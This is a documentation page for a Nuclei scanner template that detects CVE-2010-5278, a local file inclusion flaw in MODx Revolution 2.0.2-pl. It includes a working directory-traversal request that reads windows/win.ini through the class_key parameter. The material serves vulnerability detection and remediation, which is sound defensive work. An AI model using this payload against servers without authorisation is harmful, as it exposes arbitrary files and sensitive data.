MODx manager - Local File Inclusion
ID: CVE-2010-5278
Severity: medium
Author: daffainfo
Tags: cve,cve2010,lfi,edb,packetstorm,modx
Description
Section titled “Description”A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled.
YAML Source
Section titled “YAML Source”id: CVE-2010-5278
info: name: MODx manager - Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in manager/controllers/default/resource/tvs.php in MODx Revolution 2.0.2-pl and possibly earlier allows remote attackers to read arbitrary files via a .. (dot dot) in the class_key parameter when magic_quotes_gpc is disabled. impact: | An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to unauthorized access or sensitive information disclosure. remediation: | Apply the latest patches and updates provided by MODx to fix the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/34788 - https://nvd.nist.gov/vuln/detail/CVE-2010-5278 - http://packetstormsecurity.org/1009-exploits/modx202pl-lfi.txt - http://modxcms.com/forums/index.php/topic,55104.0.html - http://modxcms.com/forums/index.php/topic,55105.msg317273.html classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N cvss-score: 4.3 cve-id: CVE-2010-5278 cwe-id: CWE-22 epss-score: 0.06135 epss-percentile: 0.93535 cpe: cpe:2.3:a:modx:modx_revolution:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: modx product: modx_revolution shodan-query: cpe:"cpe:2.3:a:modx:modx_revolution" tags: cve,cve2010,lfi,edb,packetstorm,modx
http: - method: GET path: - "{{BaseURL}}/manager/controllers/default/resource/tvs.php?class_key=../../../../../../../../../../windows/win.ini%00"
matchers-condition: and matchers: - type: word part: body words: - "bit app support" - "fonts" - "extensions" condition: and
- type: status status: - 200# digest: 4a0a00473045022100f73ce05504b0e7ee96b2da18ba2da14976d199fb57d7c8c95f5280798b08367202202da33a406a2b7272a997a15b388b3f7e91bee37ad893947bb8af587e48f3d504:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-5278.yaml"